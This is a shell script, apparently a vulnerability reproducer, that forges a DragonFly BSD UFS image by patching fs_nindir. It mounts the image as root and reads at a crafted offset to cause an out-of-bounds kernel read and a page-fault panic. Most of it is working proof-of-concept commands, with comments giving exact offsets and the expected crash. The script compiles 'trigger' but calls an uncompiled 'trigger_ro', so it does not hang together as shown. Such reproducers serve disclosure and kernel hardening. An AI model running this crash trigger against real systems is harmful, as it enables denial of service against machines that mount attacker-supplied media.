DF-0914 / reproduce.sh
#!/bin/sh # DF-0914 reproduce.sh — runs IN THE GUEST as root. # # Same root cause as DF-0894 (unvalidated fs_nindir), but triggers the # READ-path OOB at ufs_bmaparray:221 (daddr = bap[in_off]) instead of the # WRITE-path OOB at ffs_balloc.c:297. # # To isolate the READ-path OOB (DF-0914) from the WRITE-path OOB (DF-0894), # the file is written on the CORRECT image and the forged fs_nindir is # applied AFTER unmount. This way ffs_balloc never sees the forged MNINDIR # during allocation; only ufs_bmaparray sees it during the subsequent read. # # Flow: # Phase A (correct image, fs_nindir=4096): # 1. newfs a UFS1 image (default: fs_bsize=16384, fs_nindir=4096). # 2. Mount RW. # 3. Write 1 byte at lbn=12 (offset=196608). With correct fs_nindir=4096, # ufs_getlbns(lbn=12) computes in_off=0 (IN BOUNDS). ffs_balloc # allocates i_ib[0] and entry[0] in the single-indirect block. # 4. ftruncate the file to 134283265 (covers lbn=8203). Sparse, no balloc. # 5. Unmount cleanly (indirect block written to disk). # Phase B (forged image, fs_nindir=8192): # 6. Copy base.img -> evil.img, patch fs_nindir 4096 -> 8192. # 7. Mount evil.img RW (no validation -> mount succeeds). # 8. Read 1 byte at lbn=8203 (offset=134283264). With forged MNINDIR=8192, # ufs_getlbns(lbn=8203) computes in_off=8191. ufs_bmaparray:221 reads # bap[8191] = bp->b_data + 32764 — 16380 bytes past the 16384-byte # indirect-block buffer. OOB READ -> page-fault panic on GENERIC. # # Mount privilege: UFS is not user-mountable on DragonFly # (vfs.usermount=0, SYSCAP_RESTRICTEDROOT). Root-context mount of attacker # media -> kernel OOB read -> hardening gap / DoS. # # Usage (from host): # scp this + sources to dfbsd:, then vm.sh run_root 'sh /root/reproduce.sh' # Expect: Fatal trap 12 page fault in ufs_bmaparray (READ-path OOB). set -u cd "$(dirname "$0")" echo "================= DF-0914 primitive characterization (harness) =================" ./harness 16384 8192 8203 echo echo "================= DF-0914 live kernel trigger (READ path) =================" cc -o craft_img craft_img.c 2>&1 || { echo "CRAFT_BUILD_FAIL"; exit 3; } cc -o trigger trigger.c 2>&1 || { echo "TRIGGER_BUILD_FAIL"; exit 3; } vnconfig -u vn0 2>/dev/null || true rm -f base.img evil.img # ---- Phase A: write on CORRECT image ---- echo "--- Phase A: newfs + write on correct fs_nindir=4096 ---" truncate -s 32M base.img vnconfig -c vn0 base.img newfs /dev/vn0 2>&1 | head -5 vnconfig -u vn0 mkdir -p /mnt/test vnconfig -c vn0 base.img mount -t ufs /dev/vn0 /mnt/test 2>&1 echo "MOUNT_A_RC=$?" if [ -d /mnt/test ]; then echo "--- writing 1 byte at lbn=12 (offset=196608) with CORRECT fs_nindir ---" ./trigger /mnt/test/target 196608 0 # write-only mode (read_off=0 skips read) echo "WRITE_PHASE_RC=$?" sync umount /mnt/test 2>/dev/null fi vnconfig -u vn0 2>/dev/null # ---- Phase B: patch + read on FORGED image ---- echo echo "--- Phase B: patch fs_nindir 4096 -> 8192, mount, read ---" cp base.img evil.img ./craft_img evil.img 8192 vnconfig -c vn0 evil.img mount -t ufs /dev/vn0 /mnt/test 2>&1 echo "MOUNT_B_RC=$?" if [ -d /mnt/test ]; then echo "--- TRIGGER: read at lbn=8203 (offset=134283264, in_off=8191, OOB ~16KB) ---" # read-only mode: skip write (use read-only open), just seek+read ./trigger_ro /mnt/test/target 134283264 echo "TRIGGER_RC=$? (only reached if NO panic)" sync 2>&1 echo "SYNC_RC=$? (only reached if NO panic)" fi umount /mnt/test 2>/dev/null || true vnconfig -u vn0 2>/dev/null || true echo "END" |